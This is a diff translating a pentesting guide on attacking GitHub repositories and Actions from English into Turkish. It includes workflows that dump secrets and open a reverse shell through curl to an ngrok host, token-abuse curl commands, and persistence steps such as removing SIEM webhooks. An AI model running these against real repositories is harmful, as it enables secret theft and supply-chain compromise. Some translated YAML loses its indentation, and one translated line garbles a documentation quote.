-- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
-- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
-- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
-- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
-- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
+- **Bir dizi onay gerektir**: Eğer birkaç hesabı ele geçirdiyseniz, diğer hesaplardan PR'lerinizi kabul edebilirsiniz. Eğer PR'yi oluşturduğunuz hesaba sahipseniz, kendi PR'nizi kabul edemezsiniz. Ancak, eğer repo içinde bir **Github Eylemi** ortamına erişiminiz varsa, **GITHUB_TOKEN** kullanarak **PR'nizi onaylayabilir** ve bu şekilde 1 onay alabilirsiniz.
+- _Bu ve Kod Sahipleri kısıtlaması için not: genellikle bir kullanıcı kendi PR'lerini onaylayamaz, ancak eğer onaylayabiliyorsanız, PR'lerinizi kabul etmek için bunu kötüye kullanabilirsiniz._
+- **Yeni commitler gönderildiğinde onayları iptal et**: Eğer bu ayarlanmadıysa, geçerli kod gönderebilir, birinin onaylamasını bekleyebilir ve kötü niyetli kod ekleyip korunan dal ile birleştirebilirsiniz.
+- **Kod Sahiplerinden inceleme gerektir**: Eğer bu etkinleştirildiyse ve bir Kod Sahibiyseniz, **bir Github Eylemi PR'nizi oluşturabilir ve ardından kendiniz onaylayabilirsiniz**.
+- Bir **CODEOWNER dosyası yanlış yapılandırıldığında** Github şikayet etmez ama kullanmaz. Bu nedenle, yanlış yapılandırıldığında **Kod Sahipleri koruması uygulanmaz.**
+- **Belirtilen aktörlerin pull request gereksinimlerini atlamasına izin ver**: Eğer bu aktörlerden biriyseniz, pull request korumalarını atlayabilirsiniz.
+- **Yönetici dahil et**: Eğer bu ayarlanmadıysa ve repo yöneticisiyseniz, bu dal korumalarını atlayabilirsiniz.
+- **PR Ele Geçirme**: Başkasının PR'sini **kötü niyetli kod ekleyerek değiştirebilir, sonuçta oluşan PR'yi kendiniz onaylayabilir ve her şeyi birleştirebilirsiniz.**
+- **Dal Koruma Kaldırma**: Eğer bir **repo yöneticisiyseniz korumaları devre dışı bırakabilir**, PR'nizi birleştirebilir ve korumaları geri ayarlayabilirsiniz.
+- **Push korumalarını atlama**: Eğer bir repo **sadece belirli kullanıcıların** dallarda push (kod birleştirme) yapmasına izin veriyorsa (dal koruması tüm dalları koruyor olabilir ve joker karakter `*` kullanıyor olabilir).
+- Eğer **repo üzerinde yazma erişiminiz varsa ama dal koruması nedeniyle kod push yapmanıza izin verilmiyorsa**, yine de **yeni bir dal oluşturabilir** ve içinde **kod gönderildiğinde tetiklenen bir github eylemi oluşturabilirsiniz**. **Dal koruması dal oluşturulana kadar koruma sağlamayacağından**, bu dal üzerindeki ilk kod push **github eylemini tetikleyecektir**.
-## Bypass Environments Protections
+## Ortam Koruma Atlatma
-For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
+[**Github Ortamı hakkında temel bilgileri kontrol edin**](basic-github-information.md#git-environments) için bir giriş.
-In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
-
-Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
+Eğer bir ortam **tüm dallardan erişilebiliyorsa**, **korunmuyor** demektir ve ortam içindeki gizli bilgilere kolayca erişebilirsiniz. Tüm dalların **korunduğu** (isimlerini belirterek veya `*` kullanarak) repolar bulabileceğinizi unutmayın; bu senaryoda, **kod gönderebileceğiniz bir dal bulun** ve yeni bir github eylemi oluşturarak gizli bilgileri **sızdırabilirsiniz** (veya birini değiştirebilirsiniz).
+Unutmayın, **tüm dalların korunduğu** (joker karakter `*` ile) bir kenar durumu bulabilirsiniz; burada **dallara kimin kod gönderebileceği** belirtilmiştir (_bunu dal korumasında belirtebilirsiniz_) ve **kullanıcınıza izin verilmez**. Yine de özel bir github eylemi çalıştırabilirsiniz çünkü bir dal oluşturabilir ve kendisi üzerinde push tetikleyicisini kullanabilirsiniz. **Dal koruması yeni bir dalda push'a izin verir, bu nedenle github eylemi tetiklenecektir.**
```yaml
push: # Run it when a push is made to a branch
- branches:
- - current_branch_name #Use '**' to run when a push is made to any branch
+branches:
+- current_branch_name #Use '**' to run when a push is made to any branch
```
+Not edin ki **dal oluşturulduktan sonra** **dal koruması yeni dala uygulanacaktır** ve bunu değiştiremeyeceksiniz, ancak o zamana kadar sırları zaten ele geçirmiş olacaksınız.
-Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
+## Süreklilik
-## Persistence
+- **Kullanıcı token'ı** oluştur
+- **Sırların** içinden **github token'larını** çal
+- **İş akışı sonuçlarının** ve **dalların** **silinmesi**
+- Tüm org'a **daha fazla izin** ver
+- Bilgileri dışarı aktarmak için **webhook'lar** oluştur
+- **Dış işbirlikçileri** davet et
+- **SIEM** tarafından kullanılan **webhook'ları** **kaldır**
+- **Arka kapı** ile **Github Action** oluştur/değiştir
+- **Sır** değeri değişikliği yoluyla **komut enjeksiyonu** için **savunmasız Github Action** bul
-- Generate **user token**
-- Steal **github tokens** from **secrets**
- - **Deletion** of workflow **results** and **branches**
-- Give **more permissions to all the org**
-- Create **webhooks** to exfiltrate information
-- Invite **outside collaborators**
-- **Remove** **webhooks** used by the **SIEM**
-- Create/modify **Github Action** with a **backdoor**
-- Find **vulnerable Github Action to command injection** via **secret** value modification
+### Sahte Taahhütler - Repo taahhütleri aracılığıyla arka kapı
-### Imposter Commits - Backdoor via repo commits
-
-In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
-
-Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
+Github'da **bir fork'tan bir repo için PR oluşturmak** mümkündür. PR **kabul edilse bile**, orijinal repoda fork versiyonu için bir **taahhüt** kimliği oluşturulacaktır. Bu nedenle, bir saldırgan **görünüşte meşru bir repodan, repo sahibinin oluşturmadığı belirli bir taahhütü kullanmak için sabitleyebilir**.
+[**şu**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e) gibi:
```yaml
name: example
on: [push]
jobs:
- commit:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- - shell: bash
- run: |
- echo 'hello world!'
+commit:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
+- shell: bash
+run: |
+echo 'hello world!'
```
-
-For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
+Daha fazla bilgi için [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) adresini kontrol edin.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index c5ce0467b..9572fa5b9 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -4,389 +4,371 @@
## Basic Information
-In this page you will find:
+Bu sayfada şunları bulacaksınız:
-- A **summary of all the impacts** of an attacker managing to access a Github Action
-- Different ways to **get access to an action**:
- - Having **permissions** to create the action
- - Abusing **pull request** related triggers
- - Abusing **other external access** techniques
- - **Pivoting** from an already compromised repo
-- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
+- Bir saldırganın bir Github Action'a erişim sağlaması durumunda **tüm etkilerin özeti**
+- Bir **action'a erişim sağlama** yolları:
+- Action'ı oluşturmak için **izinlere** sahip olmak
+- **Pull request** ile ilgili tetikleyicileri kötüye kullanmak
+- **Diğer dış erişim** tekniklerini kötüye kullanmak
+- Zaten ele geçirilmiş bir repodan **pivotlama**
+- Son olarak, **içeriden bir action'ı kötüye kullanma sonrası teknikleri** hakkında bir bölüm (belirtilen etkileri oluşturur)
## Impacts Summary
-For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+[**Github Actions hakkında temel bilgileri kontrol edin**](../basic-github-information.md#github-actions) için bir giriş.
-If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
+Eğer bir **repository** içinde **rastgele kod çalıştırabiliyorsanız**, şunları yapabilirsiniz:
-- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
-- **Compromise deployments** and other **artifacts**.
- - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
-- **Execute code in custom workers** to abuse computing power and pivot to other systems.
-- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
+- Pipeline'a monte edilmiş **gizli bilgileri çalmak** ve **pipeline'ın ayrıcalıklarını kötüye kullanarak** AWS ve GCP gibi dış platformlara yetkisiz erişim sağlamak.
+- **Dağıtımları tehlikeye atmak** ve diğer **artifaktları**.
+- Eğer pipeline varlıkları dağıtıyor veya depoluyorsa, nihai ürünü değiştirebilir ve bir tedarik zinciri saldırısına olanak tanıyabilirsiniz.
+- **Özel işçilerde kod çalıştırmak** için hesaplama gücünü kötüye kullanmak ve diğer sistemlere pivotlamak.
+- `GITHUB_TOKEN` ile ilişkili izinlere bağlı olarak **repository kodunu üzerine yazmak**.
## GITHUB_TOKEN
-This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
+Bu "**gizli**" ( `${{ secrets.GITHUB_TOKEN }}` ve `${{ github.token }}`'den gelen) admin bu seçeneği etkinleştirdiğinde verilir:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Bu token, bir **Github Uygulaması tarafından kullanılacak** olan aynı token'dır, böylece aynı uç noktalara erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github, `GITHUB_TOKEN` kullanarak bir repo'nun diğer iç repolara erişmesine olanak tanıyan [**bir akış**](https://github.com/github/roadmap/issues/74) yayınlamalıdır.
-You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Bu token'ın olası **izinlerini** burada görebilirsiniz: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Note that the token **expires after the job has completed**.\
-These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Token'ın **işlem tamamlandıktan sonra süresinin dolduğunu** unutmayın.\
+Bu token'lar şu şekilde görünür: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
-Some interesting things you can do with this token:
+Bu token ile yapabileceğiniz bazı ilginç şeyler:
{{#tabs }}
{{#tab name="Merge PR" }}
-
```bash
# Merge PR
curl -X PUT \
- https://api.github.com/repos///pulls//merge \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header "content-type: application/json" \
- -d "{\"commit_title\":\"commit_title\"}"
+https://api.github.com/repos///pulls//merge \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header "content-type: application/json" \
+-d "{\"commit_title\":\"commit_title\"}"
```
-
{{#endtab }}
-{{#tab name="Approve PR" }}
-
+{{#tab name="PR'yi Onayla" }}
```bash
# Approve a PR
curl -X POST \
- https://api.github.com/repos///pulls//reviews \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- -d '{"event":"APPROVE"}'
+https://api.github.com/repos///pulls//reviews \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+-d '{"event":"APPROVE"}'
```
-
{{#endtab }}
-{{#tab name="Create PR" }}
-
+{{#tab name="PR Oluştur" }}
```bash
# Create a PR
curl -X POST \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- https://api.github.com/repos///pulls \
- -d '{"head":"","base":"master", "title":"title"}'
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+https://api.github.com/repos///pulls \
+-d '{"head":"","base":"master", "title":"title"}'
```
-
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
-> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
+> Dikkat edin ki, birkaç durumda **Github Actions ortamlarında veya gizli bilgilerde github kullanıcı token'ları bulabileceksiniz**. Bu token'lar, size depo ve organizasyon üzerinde daha fazla yetki verebilir.
-List secrets in Github Action output
-
+Github Action çıktısında gizli bilgileri listele
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+Gizli anahtarlarla ters kabuk al
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
+Github Token'ına verilen izinleri diğer kullanıcıların depolarında **logları kontrol ederek** kontrol etmek mümkündür:
-## Allowed Execution
+## İzin Verilen Çalıştırma
> [!NOTE]
-> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
+> Bu, Github eylemlerini tehlikeye atmanın en kolay yolu olacaktır, çünkü bu durum **organizasyonda yeni bir depo oluşturma** erişiminiz olduğunu veya **bir depoda yazma yetkisine** sahip olduğunuzu varsayıyor.
>
-> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
+> Bu senaryoda iseniz, [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) bölümüne göz atabilirsiniz.
-### Execution from Repo Creation
+### Depo Oluşturarak Çalıştırma
-In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
+Eğer bir organizasyonun üyeleri **yeni depolar oluşturabiliyorsa** ve github eylemlerini çalıştırabiliyorsanız, **yeni bir depo oluşturup organizasyon seviyesinde ayarlanan gizli bilgileri çalabilirsiniz**.
-### Execution from a New Branch
+### Yeni Bir Dal Üzerinden Çalıştırma
-If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
-
-You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
+Eğer **zaten bir Github Action** yapılandırılmış bir depoda **yeni bir dal oluşturabiliyorsanız**, onu **değiştirebilir**, içeriği **yükleyebilir** ve ardından **o eylemi yeni dal üzerinden çalıştırabilirsiniz**. Bu şekilde **depo ve organizasyon seviyesindeki gizli bilgileri dışarı sızdırabilirsiniz** (ancak bunların nasıl adlandırıldığını bilmeniz gerekir).
+Değiştirilen eylemi **manuel olarak**, bir **PR oluşturulduğunda** veya **bazı kodlar yüklendiğinde** çalıştırılabilir hale getirebilirsiniz (ne kadar dikkat çekmek istediğinize bağlı olarak):
```yaml
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - master
- push: # Run it when a push is made to a branch
- branches:
- - current_branch_name
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- master
+push: # Run it when a push is made to a branch
+branches:
+- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
-
---
## Forked Execution
> [!NOTE]
-> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
+> Farklı tetikleyiciler, bir saldırganın **başka bir depodaki Github Action'ı çalıştırmasına** izin verebilir. Eğer bu tetiklenebilir eylemler kötü yapılandırılmışsa, bir saldırgan bunları tehlikeye atabilir.
### `pull_request`
-The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
+Çalışma akışı tetikleyicisi **`pull_request`**, bir pull request alındığında her seferinde çalışma akışını çalıştırır, bazı istisnalarla: varsayılan olarak, eğer bu **ilk kez** **işbirliği yapıyorsanız**, bazı **bakıcıların** çalışma akışının **çalıştırılmasını** **onaylaması** gerekecektir:
> [!NOTE]
-> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
+> **Varsayılan kısıtlama** **ilk kez** katkıda bulunanlar içindir, geçerli bir **hata/yazım hatasını düzeltmek** için katkıda bulunabilir ve ardından **yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için başka PR'lar gönderebilirsiniz**.
>
-> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
+> **Bunu test ettim ve çalışmıyor**: ~~Başka bir seçenek, projeye katkıda bulunan birinin adını taşıyan bir hesap oluşturmak ve hesabını silmek olurdu.~~
-Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Ayrıca, varsayılan olarak **yazma izinlerini** ve **gizli verilere erişimi** hedef depoya engeller, [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) göre:
-> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
+> `GITHUB_TOKEN` hariç, **gizli veriler bir çalışma akışı bir **forked** depodan tetiklendiğinde** çalıştırıcıya **geçmez**. **`GITHUB_TOKEN`'ın pull request'lerde **okuma-yazma izinleri** yoktur **forked depolardan**.
-An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
+Bir saldırgan, Github Action'ın tanımını değiştirerek keyfi şeyler çalıştırabilir ve keyfi eylemler ekleyebilir. Ancak, belirtilen kısıtlamalar nedeniyle gizli verileri çalamaz veya depoyu üzerine yazamaz.
> [!CAUTION]
-> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
+> **Evet, eğer saldırgan PR'de tetiklenecek github action'ı değiştirirse, onun Github Action'ı kullanılacak ve orijinal depodaki değil!**
-As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
+Saldırgan ayrıca çalıştırılan kodu kontrol ettiğinden, `GITHUB_TOKEN` üzerinde gizli veriler veya yazma izinleri olmasa bile, bir saldırgan örneğin **kötü niyetli belgeler yükleyebilir**.
### **`pull_request_target`**
-The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
+Çalışma akışı tetikleyicisi **`pull_request_target`**, hedef depoya **yazma iznine** ve **gizli verilere erişime** sahiptir (ve izin istemez).
-Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Çalışma akışı tetikleyicisi **`pull_request_target`** **temel bağlamda** çalışır ve PR tarafından verilen bağlamda değil (güvenilmeyen kodu **çalıştırmamak için**). `pull_request_target` hakkında daha fazla bilgi için [**belgelere**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) bakın.\
+Ayrıca, bu özel tehlikeli kullanım hakkında daha fazla bilgi için bu [**github blog yazısını**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) kontrol edin.
-It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
+**Çalıştırılan çalışma akışının** **temelde** tanımlandığı ve **PR'de** değil olduğu için **`pull_request_target`** kullanmanın **güvenli** olduğu görünebilir, ancak bunun **güvenli olmadığı birkaç durum vardır**.
-An this one will have **access to secrets**.
+Ve bu, **gizli verilere erişim** sağlayacaktır.
### `workflow_run`
-The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
-
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
+[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) tetikleyicisi, bir çalışma akışının `tamamlandığında`, `istek yapıldığında` veya `devam ediyor` olduğunda başka bir çalışma akışını çalıştırmasına izin verir.
+Bu örnekte, bir çalışma akışı, ayrı "Testleri Çalıştır" çalışma akışı tamamlandıktan sonra çalışacak şekilde yapılandırılmıştır:
```yaml
on:
- workflow_run:
- workflows: [Run Tests]
- types:
- - completed
+workflow_run:
+workflows: [Run Tests]
+types:
+- completed
```
+Ayrıca, belgelerde belirtildiği gibi: `workflow_run` olayıyla başlatılan iş akışı, **önceki iş akışı** çalıştırılmamış olsa bile **gizli bilgilere erişebilir ve token yazabilir**.
-Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
-
-This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
-The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
+Bu tür bir iş akışı, **`pull_request`** veya **`pull_request_target`** aracılığıyla bir dış kullanıcı tarafından **tetiklenebilen** bir **iş akışına** **bağlıysa** saldırıya uğrayabilir. Birkaç savunmasız örnek [**bu blogda**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**bulunabilir.** İlk örnek, **`workflow_run`** tetiklenen iş akışının saldırganın kodunu indirmesidir: `${{ github.event.pull_request.head.sha }}`\
+İkinci örnek, **güvenilmeyen** koddan **`workflow_run`** iş akışına bir **artifact** **geçirerek** ve bu artifact'ın içeriğini **RCE'ye karşı savunmasız hale getirecek** bir şekilde kullanmaktır.
### `workflow_call`
TODO
-TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
+TODO: `pull_request`'tan çalıştırıldığında kullanılan/indirilen kodun orijinalden mi yoksa forked PR'dan mı olduğunu kontrol et
-## Abusing Forked Execution
+## Forked İcra Kullanımı
-We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
+Bir dış saldırganın bir github iş akışını çalıştırmasını sağlamak için tüm yolları belirttik, şimdi bu çalıştırmaların, kötü yapılandırıldığında, nasıl kötüye kullanılabileceğine bakalım:
-### Untrusted checkout execution
+### Güvenilmeyen checkout çalıştırması
-In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
+**`pull_request`** durumunda, iş akışı **PR'nin bağlamında** çalıştırılacak (yani **kötü niyetli PR kodunu** çalıştıracak), ancak birinin **önce yetkilendirmesi** gerekiyor ve bazı [kısıtlamalarla](./#pull_request) çalışacak.
-In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
+**`pull_request_target` veya `workflow_run`** kullanan bir iş akışında, **`pull_request_target` veya `pull_request`** üzerinden tetiklenebilen bir iş akışına bağlıysa, orijinal repo kodu çalıştırılacak, bu nedenle **saldırgan çalıştırılan kodu kontrol edemez**.
> [!CAUTION]
-> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
+> Ancak, eğer **action**'da **açık bir PR checkout** varsa ve bu **PR'dan kod alıyorsa** (veya temelden değilse), saldırganın kontrolündeki kodu kullanacaktır. Örneğin (PR kodunun indirildiği 12. satıra bakın):
-
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
+Potansiyel olarak **güvenilmeyen kod `npm install` veya `npm build` sırasında çalıştırılmaktadır** çünkü derleme betikleri ve referans verilen **paketler PR yazarının kontrolündedir**.
> [!WARNING]
-> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
+> Savunmasız eylemleri aramak için bir github dork'u: `event.pull_request pull_request_target extension:yml` ancak, eylem güvensiz yapılandırılmış olsa bile, işlerin güvenli bir şekilde çalıştırılması için farklı yollar vardır (örneğin, PR'yi oluşturan aktör hakkında koşullu ifadeler kullanmak gibi).
-### Context Script Injections
+### Bağlam Betiği Enjeksiyonları
-Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
+Belirli [**github bağlamları**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) olduğunu unutmayın, bu bağlamların değerleri **PR'yi oluşturan kullanıcı** tarafından **kontrol edilmektedir**. Eğer github action bu **verileri herhangi bir şeyi çalıştırmak için kullanıyorsa**, bu **keyfi kod çalıştırmaya** yol açabilir:
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV Script Injection**
+### **GITHUB_ENV Betik Enjeksiyonu**
-From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
+Belgelerden: Bir iş akışı işinde herhangi bir sonraki adımda **bir ortam değişkenini kullanılabilir hale getirmek** için ortam değişkenini tanımlayarak veya güncelleyerek ve bunu **`GITHUB_ENV`** ortam dosyasına yazarak yapabilirsiniz.
